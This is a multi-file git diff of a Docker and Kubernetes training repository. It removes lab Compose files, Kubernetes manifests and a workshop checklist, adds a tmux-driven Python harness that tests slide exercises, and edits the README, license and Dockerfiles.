fix-redirects.sh: adding forced redirect

.devcontainer/devcontainer.json

@@ -1,26 +0,0 @@
-{
-        "name": "container.training environment to get started with Docker and/or Kubernetes",
-        "image": "ghcr.io/jpetazzo/shpod",
-        "features": {
-                //"ghcr.io/devcontainers/features/common-utils:2": {}
-        },
-
-        // Use 'forwardPorts' to make a list of ports inside the container available locally.
-        "forwardPorts": [],
-
-        //"postCreateCommand": "... install extra packages...",
-        "postStartCommand": "dind.sh",
-
-        // This lets us use "docker-outside-docker".
-        // Unfortunately, minikube, kind, etc. don't work very well that way;
-        // so for now, we'll likely use "docker-in-docker" instead (with a 
-        // privilege dcontainer). But we're still exposing that socket in case
-        // someone wants to do something interesting with it.
-        "mounts": ["source=/var/run/docker.sock,target=/var/run/docker-host.sock,type=bind"],
-
-        // This is for docker-in-docker.
-        "privileged": true,
-
-        // Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root.
-        "remoteUser": "k8s"
-}

.gitignore

@@ -1,33 +1,10 @@
 *.pyc
 *.swp
 *~
-
-**/terraform.tfstate
-**/terraform.tfstate.backup
-prepare-labs/terraform/lab-environments
-prepare-labs/terraform/many-kubernetes/one-kubernetes-config/config.tf
-prepare-labs/terraform/many-kubernetes/one-kubernetes-module/*.tf
-prepare-labs/terraform/tags
-prepare-labs/terraform/virtual-machines/openstack/*.tfvars
-prepare-labs/terraform/virtual-machines/proxmox/*.tfvars
-prepare-labs/www
-
+prepare-vms/ips.txt
+prepare-vms/ips.html
+prepare-vms/ips.pdf
+prepare-vms/settings.yaml
+prepare-vms/tags
 slides/*.yml.html
-slides/autopilot/state.yaml
-slides/index.html
-slides/past.html
-slides/slides.zip
-node_modules
-
-### macOS ###
-# General
-.DS_Store
-.AppleDouble
-.LSOverride
-
-### Windows ###
-# Windows thumbnail cache files
-Thumbs.db
-ehthumbs.db
-ehthumbs_vista.db
-
+autotest/nextstep

CHECKLIST.md

@@ -1,24 +0,0 @@
-Checklist to use when delivering a workshop
-Authored by Jérôme; additions by Bridget
-
-- [ ] Create event-named branch (such as `conferenceYYYY`) in the [main repo](https://github.com/jpetazzo/container.training/)
-  - [ ] Create file `slides/_redirects` containing a link to the desired tutorial: `/ /kube-halfday.yml.html 200`
-  - [ ] Push local branch to GitHub and merge into main repo
-  - [ ] [Netlify setup](https://app.netlify.com/sites/container-training/settings/domain): create subdomain for event-named branch
-- [ ] Add link to event-named branch to [container.training front page](https://github.com/jpetazzo/container.training/blob/master/slides/index.html)
-- [ ] Update the slides that says which versions we are using for [kube](https://github.com/jpetazzo/container.training/blob/master/slides/kube/versions-k8s.md) or [swarm](https://github.com/jpetazzo/container.training/blob/master/slides/swarm/versions.md) workshops
-- [ ] Update the version of Compose and Machine in [settings](https://github.com/jpetazzo/container.training/tree/master/prepare-vms/settings)
-- [ ] (optional) Create chatroom
-- [ ] (optional) Set chatroom in YML ([kube half-day example](https://github.com/jpetazzo/container.training/blob/master/slides/kube-halfday.yml#L6-L8)) and deploy
-- [ ] (optional) Put chat link on [container.training front page](https://github.com/jpetazzo/container.training/blob/master/slides/index.html)
-- [ ] How many VMs do we need? Check with event organizers ahead of time
-- [ ] Provision VMs (slightly more than we think we'll need)
-- [ ] Change password on presenter's VMs (to forestall any hijinx)
-- [ ] Onsite: walk the room to count seats, check power supplies, lectern, A/V setup
-- [ ] Print cards
-- [ ] Cut cards
-- [ ] Last-minute merge from master
-- [ ] Check that all looks good
-- [ ] DELIVER!
-- [ ] Shut down VMs
-- [ ] Update index.html to remove chat link and move session to past things

LICENSE

@@ -1,12 +1,13 @@
-The code in this repository is licensed under the Apache License
-Version 2.0. You may obtain a copy of this license at:
+Copyright 2015 Jérôme Petazzoni
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
 
     http://www.apache.org/licenses/LICENSE-2.0
 
-The instructions and slides in this repository (e.g. the files
-with extension .md and .yml in the "slides" subdirectory) are
-under the Creative Commons Attribution 4.0 International Public
-License. You may obtain a copy of this license at:
-
-    https://creativecommons.org/licenses/by/4.0/legalcode
-
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.

README.md

@@ -39,16 +39,14 @@ your own tutorials.
 All these materials have been gathered in a single repository
 because they have a few things in common:
 
-- some [shared slides](slides/shared/) that are re-used
-  (and updated) identically between different decks;
 - a [build system](slides/) generating HTML slides from
   Markdown source files;
-- a [semi-automated test harness](slides/autopilot/) to check
-  that the exercises and examples provided work properly;
-- a [PhantomJS script](slides/slidechecker.js) to check
-  that the slides look good and don't have formatting issues;
+- some [common slides](slides/common/) that are re-used
+  (and updated) identically between different decks;
 - [deployment scripts](prepare-vms/) to start training
   VMs in bulk;
+- a [semi-automated test harness](autotest/) to check
+  that the exercises and examples provided work properly;
 - a fancy pipeline powered by
   [Netlify](https://www.netlify.com/) and continuously
   deploying `master` to http://container.training/.
@@ -76,6 +74,9 @@ a few other contributors. It is actively maintained.
 
 ## Repository structure
 
+- [autotest](autotest/)
+  - Semi-automated testing system to check that all the exercises
+    in the slides work properly.
 - [bin](bin/)
   - A few helper scripts that you can safely ignore for now.
 - [dockercoins](dockercoins/)
@@ -199,7 +200,7 @@ this section is for you!
   locked-down computer, host firewall, etc.
 - Horrible wifi, or ssh port TCP/22 not open on network! If wifi sucks you
   can try using MOSH https://mosh.org which handles SSH over UDP. TMUX can also
-  prevent you from losing your place if you get disconnected from servers.
+  prevent you from loosing your place if you get disconnected from servers.
   https://tmux.github.io
 - Forget to print "cards" and cut them up for handing out IP's.
 - Forget to have fun and focus on your students!
@@ -247,17 +248,6 @@ content but you also know to skip during presentation.
 - Last 15-30 minutes is for stateful services, DAB files, and questions.
 
 
-### Pre-built images
-
-There are pre-built images for the 4 components of the DockerCoins demo app: `dockercoins/hasher:v0.1`, `dockercoins/rng:v0.1`, `dockercoins/webui:v0.1`, and `dockercoins/worker:v0.1`. They correspond to the code in this repository.
-
-There are also three variants, for demo purposes:
-
-- `dockercoins/rng:v0.2` is broken (the server won't even start),
-- `dockercoins/webui:v0.2` has bigger font on the Y axis and a green graph (instead of blue),
-- `dockercoins/worker:v0.2` is 11x slower than `v0.1`.
-
-
 ## Past events
 
 Since its inception, this workshop has been delivered dozens of times,
@@ -292,31 +282,15 @@ If there is a bug and you can't even reproduce it:
 sorry. It is probably an Heisenbug. We can't act on it
 until it's reproducible, alas.
 
+If you have attended this workshop and have feedback,
+or if you want somebody  to deliver that workshop at your
+conference or for your company: you can contact one of us!
 
-# “Please teach us!”
-
-If you have attended one of these workshops, and want
-your team or organization to attend a similar one, you
-can look at the list of upcoming events on
-http://container.training/.
-
-You are also welcome to reuse these materials to run
-your own workshop, for your team or even at a meetup
-or conference. In that case, you might enjoy watching
-[Bridget Kromhout's talk at KubeCon 2018 Europe](
-https://www.youtube.com/watch?v=mYsp_cGY2O0), explaining
-precisely how to run such a workshop yourself.
-
-Finally, you can also contact the following persons,
-who are experienced speakers, are familiar with the
-material, and are available to deliver these workshops
-at your conference or for your company:
-
-- jerome dot petazzoni at gmail dot com
+- jerome at docker dot com
 - bret at bretfisher dot com
 
-(If you are willing and able to deliver such workshops,
-feel free to submit a PR to add your name to that list!)
+If you are willing and able to deliver such workshops,
+feel free to submit a PR to add your name to that list!
 
 **Thank you!**
 

autotest/autotest.py

@@ -0,0 +1,229 @@
+#!/usr/bin/env python
+
+import uuid
+import logging
+import os
+import re
+import subprocess
+import sys
+import time
+import uuid
+
+logging.basicConfig(level=logging.DEBUG)
+
+
+TIMEOUT = 60 # 1 minute
+
+
+def hrule():
+    return "="*int(subprocess.check_output(["tput", "cols"]))
+
+# A "snippet" is something that the user is supposed to do in the workshop.
+# Most of the "snippets" are shell commands.
+# Some of them can be key strokes or other actions.
+# In the markdown source, they are the code sections (identified by triple-
+# quotes) within .exercise[] sections.
+
+class Snippet(object):
+
+    def __init__(self, slide, content):
+        self.slide = slide
+        self.content = content
+        self.actions = []
+
+    def __str__(self):
+        return self.content
+
+
+class Slide(object):
+
+    current_slide = 0
+
+    def __init__(self, content):
+        Slide.current_slide += 1
+        self.number = Slide.current_slide
+
+        # Remove commented-out slides
+        # (remark.js considers ??? to be the separator for speaker notes)
+        content = re.split("\n\?\?\?\n", content)[0]
+        self.content = content
+
+        self.snippets = []
+        exercises = re.findall("\.exercise\[(.*)\]", content, re.DOTALL)
+        for exercise in exercises:
+            if "```" in exercise:
+                for snippet in exercise.split("```")[1::2]:
+                    self.snippets.append(Snippet(self, snippet))
+            else:
+                logging.warning("Exercise on slide {} does not have any ``` snippet."
+                                .format(self.number))
+                self.debug()
+
+    def __str__(self):
+        text = self.content
+        for snippet in self.snippets:
+            text = text.replace(snippet.content, ansi("7")(snippet.content))
+        return text
+
+    def debug(self):
+        logging.debug("\n{}\n{}\n{}".format(hrule(), self.content, hrule()))
+
+
+def ansi(code):
+    return lambda s: "\x1b[{}m{}\x1b[0m".format(code, s)
+
+
+def wait_for_string(s):
+    logging.debug("Waiting for string: {}".format(s))
+    deadline = time.time() + TIMEOUT
+    while time.time() < deadline:
+        output = capture_pane()
+        if s in output:
+            return
+        time.sleep(1)
+    raise Exception("Timed out while waiting for {}!".format(s))
+
+
+def wait_for_prompt():
+    logging.debug("Waiting for prompt.")
+    deadline = time.time() + TIMEOUT
+    while time.time() < deadline:
+        output = capture_pane()
+        # If we are not at the bottom of the screen, there will be a bunch of extra \n's
+        output = output.rstrip('\n')
+        if output[-2:] == "\n$":
+            return
+        time.sleep(1)
+    raise Exception("Timed out while waiting for prompt!")
+
+
+def check_exit_status():
+    token = uuid.uuid4().hex
+    data = "echo {} $?\n".format(token)
+    logging.debug("Sending {!r} to get exit status.".format(data))
+    send_keys(data)
+    time.sleep(0.5)
+    wait_for_prompt()
+    screen = capture_pane()
+    status = re.findall("\n{} ([0-9]+)\n".format(token), screen, re.MULTILINE)
+    logging.debug("Got exit status: {}.".format(status))
+    if len(status) == 0:
+        raise Exception("Couldn't retrieve status code {}. Timed out?".format(token))
+    if len(status) > 1:
+        raise Exception("More than one status code {}. I'm seeing double! Shoot them both.".format(token))
+    code = int(status[0])
+    if code != 0:
+        raise Exception("Non-zero exit status: {}.".format(code))
+    # Otherwise just return peacefully.
+
+
+slides = []
+content = open(sys.argv[1]).read()
+for slide in re.split("\n---?\n", content):
+    slides.append(Slide(slide))
+
+actions = []
+for slide in slides:
+    for snippet in slide.snippets:
+        content = snippet.content
+        # Extract the "method" (e.g. bash, keys, ...)
+        # On multi-line snippets, the method is alone on the first line
+        # On single-line snippets, the data follows the method immediately
+        if '\n' in content:
+            method, data = content.split('\n', 1)
+        else:
+            method, data = content.split(' ', 1)
+        actions.append((slide, snippet, method, data))
+
+
+def send_keys(data):
+    subprocess.check_call(["tmux", "send-keys", data])
+
+def capture_pane():
+    return subprocess.check_output(["tmux", "capture-pane", "-p"])
+
+
+try:
+    i = int(open("nextstep").read())
+    logging.info("Loaded next step ({}) from file.".format(i))
+except Exception as e:
+    logging.warning("Could not read nextstep file ({}), initializing to 0.".format(e))
+    i = 0
+
+interactive = True
+
+while i < len(actions):
+    with open("nextstep", "w") as f:
+        f.write(str(i))
+    slide, snippet, method, data = actions[i]
+
+    # Remove extra spaces (we don't want them in the terminal) and carriage returns
+    data = data.strip()
+
+    print(hrule())
+    print(slide.content.replace(snippet.content, ansi(7)(snippet.content)))
+    print(hrule())
+    if interactive:
+        print("[{}/{}] Shall we execute that snippet above?".format(i, len(actions)))
+        print("(ENTER to execute, 'c' to continue until next error, N to jump to step #N)")
+        command = raw_input("> ")
+    else:
+        command = ""
+
+    # For now, remove the `highlighted` sections
+    # (Make sure to use $() in shell snippets!)
+    if '`' in data:
+        logging.info("Stripping ` from snippet.")
+        data = data.replace('`', '')
+
+    if command == "c":
+        # continue until next timeout
+        interactive = False
+    elif command.isdigit():
+        i = int(command)
+    elif command == "":
+        logging.info("Running with method {}: {}".format(method, data))
+        if method == "keys":
+            send_keys(data)
+        elif method == "bash":
+            # Make sure that we're ready
+            wait_for_prompt()
+            # Strip leading spaces
+            data = re.sub("\n +", "\n", data)
+            # Add "RETURN" at the end of the command :)
+            data += "\n"
+            # Send command
+            send_keys(data)
+            # Force a short sleep to avoid race condition
+            time.sleep(0.5)
+            _, _, next_method, next_data = actions[i+1]
+            if next_method == "wait":
+                wait_for_string(next_data)
+            else:
+                wait_for_prompt()
+                # Verify return code FIXME should be optional
+                check_exit_status()
+        elif method == "copypaste":
+            screen = capture_pane()
+            matches = re.findall(data, screen, flags=re.DOTALL)
+            if len(matches) == 0:
+                raise Exception("Could not find regex {} in output.".format(data))
+            # Arbitrarily get the most recent match
+            match = matches[-1]
+            # Remove line breaks (like a screen copy paste would do)
+            match = match.replace('\n', '')
+            send_keys(match + '\n')
+            # FIXME: we should factor out the "bash" method
+            wait_for_prompt()
+            check_exit_status()
+        else:
+            logging.warning("Unknown method {}: {!r}".format(method, data))
+        i += 1
+
+    else:
+        i += 1
+        logging.warning("Unknown command {}, skipping to next step.".format(command))
+
+# Reset slide counter
+with open("nextstep", "w") as f:
+    f.write(str(0))

compose/frr-route-reflector/conf/bgpd.conf

@@ -1,9 +0,0 @@
-hostname frr
-router bgp 64512
-network 1.0.0.2/32
-bgp log-neighbor-changes
-neighbor kube peer-group
-neighbor kube remote-as 64512
-neighbor kube route-reflector-client
-bgp listen range 0.0.0.0/0 peer-group kube
-log stdout

compose/frr-route-reflector/conf/zebra.conf

@@ -1,3 +0,0 @@
-hostname frr
-ip nht resolve-via-default
-log stdout

compose/frr-route-reflector/docker-compose.yaml

@@ -1,40 +0,0 @@
-version: "3"
-
-services:
-  bgpd:
-    image: frrouting/frr:v8.2.2
-    volumes:
-    - ./conf:/etc/frr
-    - ./run:/var/run/frr
-    network_mode: host
-    cap_add:
-    - NET_ADMIN
-    - SYS_ADMIN
-    entrypoint: /usr/lib/frr/bgpd -f /etc/frr/bgpd.conf --log=stdout --log-level=debug --no_kernel --no_zebra
-    restart: always
-
-  zebra:
-    image: frrouting/frr:v8.2.2
-    volumes:
-    - ./conf:/etc/frr
-    - ./run:/var/run/frr
-    network_mode: host
-    cap_add:
-    - NET_ADMIN
-    - SYS_ADMIN
-    entrypoint: /usr/lib/frr/zebra -f /etc/frr/zebra.conf --log=stdout --log-level=debug
-    restart: always
-
-  vtysh:
-    image: frrouting/frr:v8.2.2
-    volumes:
-    - ./conf:/etc/frr
-    - ./run:/var/run/frr
-    network_mode: host
-    entrypoint: vtysh
-
-  chmod:
-    image: alpine
-    volumes:
-    - ./run:/var/run/frr
-    command: chmod 777 /var/run/frr

compose/kube-router-k8s-control-plane/docker-compose.yaml

@@ -1,29 +0,0 @@
-version: "3"
-
-services:
-
-  pause:
-    ports:
-    - 8080:8080
-    image: k8s.gcr.io/pause
-
-  etcd:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/etcd:3.4.9
-    command: etcd
-
-  kube-apiserver:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount --allow-privileged
-
-  kube-controller-manager:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-controller-manager --master http://localhost:8080 --allocate-node-cidrs --cluster-cidr=10.CLUSTER.0.0/16
-    "Edit the CLUSTER placeholder first. Then, remove this line.":
-    
-  kube-scheduler:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-scheduler --master http://localhost:8080

compose/kube-router-k8s-control-plane/kuberouter.yaml

@@ -1,128 +0,0 @@
----
-apiVersion: |+
-
-
-  Make sure you update the line with --master=http://X.X.X.X:8080 below.
-  Then remove this section from this YAML file and try again.
-
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: kube-router-cfg
-  namespace: kube-system
-  labels:
-    k8s-app: kube-router
-data:
-  cni-conf.json: |
-    {
-       "cniVersion":"0.3.0",
-       "name":"mynet",
-       "plugins":[
-          {
-             "name":"kubernetes",
-             "type":"bridge",
-             "bridge":"kube-bridge",
-             "isDefaultGateway":true,
-             "ipam":{
-                "type":"host-local"
-             }
-          }
-       ]
-    }
----
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  labels:
-    k8s-app: kube-router
-  name: kube-router
-  namespace: kube-system
-spec:
-  selector:
-    matchLabels:
-      k8s-app: kube-router
-  template:
-    metadata:
-      labels:
-        k8s-app: kube-router
-      annotations:
-        scheduler.alpha.kubernetes.io/critical-pod: ''
-    spec:
-      serviceAccountName: kube-router
-      containers:
-      - name: kube-router
-        image: docker.io/cloudnativelabs/kube-router
-        imagePullPolicy: Always
-        args:
-        - "--run-router=true"
-        - "--run-firewall=true"
-        - "--run-service-proxy=true"
-        - "--master=http://X.X.X.X:8080"
-        env:
-        - name: NODE_NAME
-          valueFrom:
-            fieldRef:
-              fieldPath: spec.nodeName
-        - name: KUBE_ROUTER_CNI_CONF_FILE
-          value: /etc/cni/net.d/10-kuberouter.conflist
-        livenessProbe:
-          httpGet:
-            path: /healthz
-            port: 20244
-          initialDelaySeconds: 10
-          periodSeconds: 3
-        resources:
-          requests:
-            cpu: 250m
-            memory: 250Mi
-        securityContext:
-          privileged: true
-        volumeMounts:
-        - name: lib-modules
-          mountPath: /lib/modules
-          readOnly: true
-        - name: cni-conf-dir
-          mountPath: /etc/cni/net.d
-      initContainers:
-      - name: install-cni
-        image: busybox
-        imagePullPolicy: Always
-        command:
-        - /bin/sh
-        - -c
-        - set -e -x;
-          if [ ! -f /etc/cni/net.d/10-kuberouter.conflist ]; then
-            if [ -f /etc/cni/net.d/*.conf ]; then
-              rm -f /etc/cni/net.d/*.conf;
-            fi;
-            TMP=/etc/cni/net.d/.tmp-kuberouter-cfg;
-            cp /etc/kube-router/cni-conf.json ${TMP};
-            mv ${TMP} /etc/cni/net.d/10-kuberouter.conflist;
-          fi
-        volumeMounts:
-        - mountPath: /etc/cni/net.d
-          name: cni-conf-dir
-        - mountPath: /etc/kube-router
-          name: kube-router-cfg
-      hostNetwork: true
-      tolerations:
-      - key: CriticalAddonsOnly
-        operator: Exists
-      - effect: NoSchedule
-        key: node-role.kubernetes.io/master
-        operator: Exists
-      - effect: NoSchedule
-        key: node.kubernetes.io/not-ready
-        operator: Exists
-      volumes:
-      - name: lib-modules
-        hostPath:
-          path: /lib/modules
-      - name: cni-conf-dir
-        hostPath:
-          path: /etc/cni/net.d
-      - name: kube-router-cfg
-        configMap:
-          name: kube-router-cfg
-

compose/simple-k8s-control-plane/docker-compose.yaml

@@ -1,31 +0,0 @@
-# Note: hyperkube isn't available after Kubernetes 1.18.
-# So we'll have to update this for Kubernetes 1.19!
-
-version: "3"
-
-services:
-
-  pause:
-    ports:
-    - 8080:8080
-    image: k8s.gcr.io/pause
-
-  etcd:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/etcd:3.4.9
-    command: etcd
-
-  kube-apiserver:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-apiserver --etcd-servers http://127.0.0.1:2379 --address 0.0.0.0 --disable-admission-plugins=ServiceAccount
-
-  kube-controller-manager:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-controller-manager --master http://localhost:8080
-    
-  kube-scheduler:
-    network_mode: "service:pause"
-    image: k8s.gcr.io/hyperkube:v1.18.8
-    command: kube-scheduler --master http://localhost:8080

dockercoins/Tiltfile

@@ -1,72 +0,0 @@
-# (1) Setting up a registry, and telling Tilt to use it.
-
-# Tilt needs a registry to store images.
-
-# The following manifest defines a Deployment to run a basic Docker registry,
-# and a NodePort Service to access it. Using a NodePort means that we don't
-# need to obtain a TLS certificate, because we will be accessing the registry
-# through localhost.
-k8s_yaml('../k8s/tilt-registry.yaml')
-
-# Tell Tilt to use the registry that we just deployed instead of whatever
-# is defined in our Kubernetes resources. Tilt will patch image names to
-# use our registry.
-default_registry('localhost:30555')
-
-# Create a port forward so that we can access the registry from our local
-# environment, too. Note that if you run Tilt directly from a Kubernetes node
-# (which is not typical, but might happen in some lab/training environments)
-# the following might cause an error because port 30555 is already taken.
-k8s_resource(workload='tilt-registry', port_forwards='30555:5000')
-
-# (2) Telling Tilt how to build and run our app.
-
-# The following two lines will use the kubectl-build plugin
-# to leverage buildkit and build the images in our Kubernetes
-# cluster. This is not enabled by default, because it requires
-# the plugin to be installed.
-# See https://github.com/vmware-tanzu/buildkit-cli-for-kubectl
-# for more information about this plugin.
-#load('ext://kubectl_build', 'kubectl_build')
-#docker_build = kubectl_build
-
-# Our Kubernetes manifests use images 'dockercoins/...' so we tell Tilt
-# how each of these images should be built. The first argument is the name
-# of the image, the second argument is the directory containing the build
-# context (i.e. the Dockerfile to build the image).
-docker_build('dockercoins/hasher', 'hasher')
-docker_build('dockercoins/rng', 'rng')
-docker_build('dockercoins/webui', 'webui')
-docker_build('dockercoins/worker', 'worker')
-
-# The following manifests defines five Deployments and four Services for
-# our application.
-k8s_yaml('../k8s/dockercoins.yaml')
-
-# (3) Finishing touches.
-
-# The following line lets Tilt run with the default kubeadm cluster-admin context.
-allow_k8s_contexts('kubernetes-admin@kubernetes')
-
-# Note: the whole section below (to set up ngrok tunnels) is disabled,
-# because ngrok now requires to set up an account to serve HTML
-# content. So we can still use ngrok for e.g. webhooks and "raw" APIs,
-# but not to serve web pages like the Tilt UI.
-
-# # This will run an ngrok tunnel to expose Tilt to the outside world.
-# # This is intended to be used when Tilt runs on a remote machine.
-# local_resource(name='ngrok:tunnel', serve_cmd='ngrok http 10350')
-
-# # This will wait until the ngrok tunnel is up, and show its URL to the user.
-# # We send the output to /dev/tty so that it doesn't get intercepted by
-# # Tilt, and gets displayed to the user's terminal instead.
-# # Note: this assumes that the ngrok instance will be running on port 4040.
-# # If you have other ngrok instances running on the machine, this might not work.
-# local_resource(name='ngrok:showurl', cmd='''
-#   while sleep 1; do
-#     TUNNELS=$(curl -fsSL http://localhost:4040/api/tunnels | jq -r .tunnels[].public_url)
-#     [ "$TUNNELS" ] && break
-#   done
-#   printf "\nYou should be able to connect to the Tilt UI with the following URL(s): %s\n" "$TUNNELS" >/dev/tty
-#   '''
-# )

dockercoins/hasher/Dockerfile

@@ -1,7 +1,10 @@
 FROM ruby:alpine
 RUN apk add --update build-base curl
-RUN gem install sinatra --version '~> 3'
+RUN gem install sinatra
 RUN gem install thin
 ADD hasher.rb /
 CMD ["ruby", "hasher.rb"]
 EXPOSE 80
+HEALTHCHECK \
+  --interval=1s --timeout=2s --retries=3 --start-period=1s \
+  CMD curl http://localhost/ || exit 1

dockercoins/rng/rng.py

@@ -28,5 +28,5 @@ def rng(how_many_bytes):
 
 
 if __name__ == "__main__":
-    app.run(host="0.0.0.0", port=80, threaded=False)
+    app.run(host="0.0.0.0", port=80)
 

dockercoins/webui/Dockerfile

@@ -1,6 +1,6 @@
 FROM node:4-slim
 RUN npm install express
-RUN npm install redis@3
+RUN npm install redis
 COPY files/ /files/
 COPY webui.js /
 CMD ["node", "webui.js"]

dockercoins/webui/files/index.html

@@ -13,7 +13,7 @@
     color: royalblue;
 }
 </style>
-<script src="jquery-1.11.3.min.js"></script>
+<script src="jquery.js"></script>
 <script src="d3.min.js"></script>
 <script src="rickshaw.min.js"></script>
 <script>

dockercoins/webui/files/jquery.js

@@ -0,0 +1 @@
+jquery-1.11.3.min.js

elk/docker-compose.yml

@@ -2,14 +2,14 @@ version: "2"
 
 services:
   elasticsearch:
-    image: elasticsearch:2
+    image: elasticsearch
     # If you need to access ES directly, just uncomment those lines.
     #ports:
     #  - "9200:9200"
     #  - "9300:9300"
 
   logstash:
-    image: logstash:2
+    image: logstash
     command: |
       -e '
       input {
@@ -47,7 +47,7 @@ services:
       - "12201:12201/udp"
 
   kibana:
-    image: kibana:4
+    image: kibana
     ports:
       - "5601:5601"
     environment:

k8s/M6-ingress-nginx-cm-patch.yaml

@@ -1,9 +0,0 @@
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: ingress-nginx-controller
-  namespace: ingress-nginx
-data:
-  use-forwarded-headers: true
-  compute-full-forwarded-for: true
-  use-proxy-protocol: true

k8s/M6-ingress-nginx-components.yaml

@@ -1,10 +0,0 @@
-apiVersion: v1
-kind: Namespace
-metadata:
-  labels:
-    app.kubernetes.io/instance: flux-system
-    app.kubernetes.io/part-of: flux
-    app.kubernetes.io/version: v2.5.1
-    pod-security.kubernetes.io/warn: restricted
-    pod-security.kubernetes.io/warn-version: latest
-  name: ingress-nginx

k8s/M6-ingress-nginx-kustomization.yaml

@@ -1,12 +0,0 @@
-apiVersion: kustomize.config.k8s.io/v1beta1
-kind: Kustomization
-resources:
-- M6-ingress-nginx-components.yaml
-- sync.yaml
-patches:
-  - path: M6-ingress-nginx-cm-patch.yaml 
-    target:
-      kind: ConfigMap
-  - path: M6-ingress-nginx-svc-patch.yaml 
-    target:
-      kind: Service

k8s/M6-ingress-nginx-svc-patch.yaml

@@ -1,8 +0,0 @@
-apiVersion: v1
-kind: Service
-metadata:
-  name: ingress-nginx-controller
-  namespace: ingress-nginx
-  annotations:
-    service.beta.kubernetes.io/scw-loadbalancer-proxy-protocol-v2: true
-    service.beta.kubernetes.io/scw-loadbalancer-use-hostname: true

k8s/M6-kyverno-components.yaml

@@ -1,10 +0,0 @@
-apiVersion: v1
-kind: Namespace
-metadata:
-  labels:
-    app.kubernetes.io/instance: flux-system
-    app.kubernetes.io/part-of: flux
-    app.kubernetes.io/version: v2.5.1
-    pod-security.kubernetes.io/warn: restricted
-    pod-security.kubernetes.io/warn-version: latest
-  name: kyverno

k8s/M6-kyverno-enforce-service-account.yaml

@@ -1,72 +0,0 @@
-apiVersion: kyverno.io/v1
-kind: ClusterPolicy
-metadata:
-  name: flux-multi-tenancy
-spec:
-  validationFailureAction: enforce
-  rules:
-    - name: serviceAccountName
-      exclude:
-        resources:
-          namespaces:
-            - flux-system
-      match:
-        resources:
-          kinds:
-            - Kustomization
-            - HelmRelease
-      validate:
-        message: ".spec.serviceAccountName is required"
-        pattern:
-          spec:
-            serviceAccountName: "?*"
-    - name: kustomizationSourceRefNamespace
-      exclude:
-        resources:
-          namespaces:
-            - flux-system
-            - ingress-nginx
-            - kyverno
-            - monitoring
-            - openebs
-      match:
-        resources:
-          kinds:
-            - Kustomization
-      preconditions:
-        any:
-          - key: "{{request.object.spec.sourceRef.namespace}}"
-            operator: NotEquals
-            value: ""
-      validate:
-        message: "spec.sourceRef.namespace must be the same as metadata.namespace"
-        deny:
-          conditions:
-            - key: "{{request.object.spec.sourceRef.namespace}}"
-              operator: NotEquals
-              value:  "{{request.object.metadata.namespace}}"
-    - name: helmReleaseSourceRefNamespace
-      exclude:
-        resources:
-          namespaces:
-            - flux-system
-            - ingress-nginx
-            - kyverno
-            - monitoring
-            - openebs
-      match:
-        resources:
-          kinds:
-            - HelmRelease
-      preconditions:
-        any:
-          - key: "{{request.object.spec.chart.spec.sourceRef.namespace}}"
-            operator: NotEquals
-            value: ""
-      validate:
-        message: "spec.chart.spec.sourceRef.namespace must be the same as metadata.namespace"
-        deny:
-          conditions:
-            - key: "{{request.object.spec.chart.spec.sourceRef.namespace}}"
-              operator: NotEquals
-              value:  "{{request.object.metadata.namespace}}"

k8s/M6-monitoring-components.yaml

@@ -1,29 +0,0 @@
-apiVersion: v1
-kind: Namespace
-metadata:
-  labels:
-    app.kubernetes.io/instance: flux-system
-    app.kubernetes.io/part-of: flux
-    app.kubernetes.io/version: v2.5.1
-    pod-security.kubernetes.io/warn: restricted
-    pod-security.kubernetes.io/warn-version: latest
-  name: monitoring
----
-apiVersion: networking.k8s.io/v1
-kind: Ingress
-metadata:
-  name: grafana
-  namespace: monitoring
-spec:
-  ingressClassName: nginx
-  rules:
-    - host: grafana.test.metal.mybestdomain.com
-      http:
-        paths:
-          - path: /
-            pathType: Prefix
-            backend:
-              service:
-                name: kube-prometheus-stack-grafana
-                port:
-                  number: 80

k8s/M6-network-policies.yaml

@@ -1,35 +0,0 @@
----
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: deny-from-other-namespaces
-spec:
-  podSelector: {}
-  ingress:
-  - from:
-    - podSelector: {}
----
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: allow-webui
-spec:
-  podSelector:
-    matchLabels:
-      app: web
-  ingress:
-  - from: []
----
-kind: NetworkPolicy
-apiVersion: networking.k8s.io/v1
-metadata:
-  name: allow-db
-spec:
-  podSelector:
-    matchLabels:
-      app: db
-  ingress:
-  - from:
-    - podSelector:
-        matchLabels:
-          app: web

k8s/M6-openebs-components.yaml

@@ -1,10 +0,0 @@
-apiVersion: v1
-kind: Namespace
-metadata:
-  labels:
-    app.kubernetes.io/instance: flux-system
-    app.kubernetes.io/part-of: flux
-    app.kubernetes.io/version: v2.5.1
-    pod-security.kubernetes.io/warn: restricted
-    pod-security.kubernetes.io/warn-version: latest
-  name: openebs

k8s/M6-openebs-kustomization.yaml

@@ -1,12 +0,0 @@
-apiVersion: kustomize.config.k8s.io/v1beta1
-kind: Kustomization
-namespace: openebs
-resources:
-  - M6-openebs-components.yaml
-  - sync.yaml
-configMapGenerator:
-  - name: openebs-values
-    files:
-      - values.yaml=M6-openebs-values.yaml
-configurations:
-  - M6-openebs-kustomizeconfig.yaml

k8s/M6-openebs-kustomizeconfig.yaml

@@ -1,6 +0,0 @@
-nameReference:
-- kind: ConfigMap
-  version: v1
-  fieldSpecs:
